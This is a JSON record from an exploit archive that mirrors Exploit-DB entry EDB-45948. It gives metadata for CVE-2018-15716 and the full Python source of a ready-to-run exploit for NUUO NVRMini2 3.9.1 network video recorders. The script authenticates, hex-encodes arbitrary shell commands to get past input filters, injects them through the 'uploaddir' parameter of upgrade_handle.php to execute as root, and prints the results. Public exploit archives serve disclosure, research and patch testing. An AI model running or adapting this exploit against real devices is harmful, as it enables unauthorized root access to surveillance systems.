{"exploit":{"id":"EDB-45948","name":"NUUO NVRMini2 3.9.1 - Authenticated Command Injection","description":"NUUO NVRMini2 3.9.1 - Authenticated Command Injection","cves":["CVE-2018-15716"],"author":"Artem Metla","published":"2018-12-04","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45948","path":"exploits/php/webapps/45948.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45948.py","vulnerabilities":[{"id":"CVE-2018-15716","state":"PUBLISHED","title":null,"titleSource":null,"description":"NUUO NVRMini2 version 3.9.1 is vulnerable to authenticated remote command injection. An attacker can send crafted requests to upgrade_handle.php to execute OS commands as root.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-15716","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-15716"},"updatedAt":"2024-09-16T17:28:51.627Z","retrievedAt":"2026-11-27T01:08:45.698Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45948.png?v=2","url":"https://exploitbin.com/exploits/EDB-45948","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45948/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45948/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: NUUO NVRMini2 Authenticated Command Injection\n# Date: December 3, 2018\n# Exploit Author: Artem Metla\n# Vendor Homepage: https://www.nuuo.com/ProductNode.php?node=2#\n# Version: 3.9.1\n# Tested on: NUUO NVRMini2 with firmware 3.9.1\n# CVE : CVE-2018-15716\n# Advisory: https://www.tenable.com/security/research/tra-2018-41\n\nimport argparse\nimport requests\nimport urllib.parse\nimport binascii\nimport http.cookiejar as cookielib\nimport re\n\n\ndef run(target, username, password, command):\n    \"\"\" Authenticate us and execute exploitation \"\"\"\n    # Step 1. Authentication\n    payload = {'language':'en', 'user':username, 'pass':password,\n'submit':'Login'}\n    r = requests.post(urllib.parse.urljoin(target, 'login.php'),\ndata=payload, verify=False, allow_redirects=False)\n\n    jar = r.cookies\n\n    # Step 2. Prepare a payload\n\n    # We're bypassing 2 filters:\n    # 1) Instead of using \";\" we can try || or &&, to bypass:\n    #    if(strpos($uploaddir, ';') !== false)\n    #    {\n    #      die('[1]Not a valid path.');\n    #    }\n\n    # 2) To bypass this:\n    #    $cmd = \"sed -i 's/\".str_replace('/', '\\/',\n$current_dir).\"/\".str_replace('/', '\\/', $tmp_upload_dir).\"/g'\n\".PHP_CINF_PATH;\n    #    we have to HEX encode a payload\n    #\n    #    Simple example of payload that we're trying to achieve: '||ls`echo\n-e \"\\\\x20\\\\x2f\"`||' to execue: ls /\n\n    # 3) Multiple parameters commands are not supported yet, but the same\ntechique could be used for them\n\n    # Primitive Bash command parser\n    splitted_command = [command]\n    for i in range(0, len(command)-1):\n        if command[i] == \" \" and command[i+1] != \"-\":\n            splitted_command = [command[:i], command[i+1:]]\n            break\n\n    # Encoding a payload\n    if len(splitted_command) == 2:\n        payload = \"\".join('\\\\\\\\x%s' %\nbinascii.hexlify(char.encode('ascii')).decode(\"utf-8\") for char in\nsplitted_command[1])\n        exploit = '\\'||%s `echo -e \"%s\"`||\\'' % (splitted_command[0],\npayload)\n        print(\"Exploit: %s\" % exploit)\n    else:\n        exploit = '\\'||%s||\\'' % (splitted_command[0])\n        print(\"Exploit: %s\" % exploit)\n\n    # Step 3. Send a payload\n    payload = {'cmd':'writeuploaddir', 'uploaddir':exploit}\n    r = requests.get(urllib.parse.urljoin(target, 'upgrade_handle.php'),\nparams=payload, verify=False, cookies=jar)\n\n    # Step 4. Output processing to grab only needed output\n    res = re.search('upload_tmp_dir=([^<>]*)<br />', str(r.content))\n    if res:\n        print(res.group(1).replace('\\\\n', '\\n'))\n\n\ndef main():\n    \"\"\" Parse command line arguments and start exploit \"\"\"\n    parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.RawDescriptionHelpFormatter,\n            epilog=\"Examples: %(prog)s -t http://192.168.0.1/ -u username\n-p password -c whoami\")\n\n    # Adds arguments to help menu\n    parser.add_argument(\"-h\", action=\"help\", help=\"Print this help message\nthen exit\")\n    parser.add_argument(\"-t\", dest=\"target\", required=\"yes\", help=\"Target\nURL address like: https://localhost:443/\")\n    parser.add_argument(\"-u\", dest=\"username\", required=\"yes\",\nhelp=\"Username to authenticate\")\n    parser.add_argument(\"-p\", dest=\"password\", required=\"yes\",\nhelp=\"Password to authenticate\")\n    parser.add_argument(\"-c\", dest=\"command\", required=\"yes\", help=\"Shell\ncommand to execute\")\n\n    # Assigns the arguments to various variables\n    args = parser.parse_args()\n\n    run(args.target, args.username, args.password, args.command)\n\n\n#\n# Main\n#\n\nif __name__ == \"__main__\":\n    main()","sha256":"da4588a8da6fac752a1d3aee7e6c40cf9832e6445f2c71422414f145cdfe26e7","bytes":3535,"fetchedAt":"2026-11-27T01:08:43.962Z","encoding":"utf-8 (display only; download retains original bytes)"}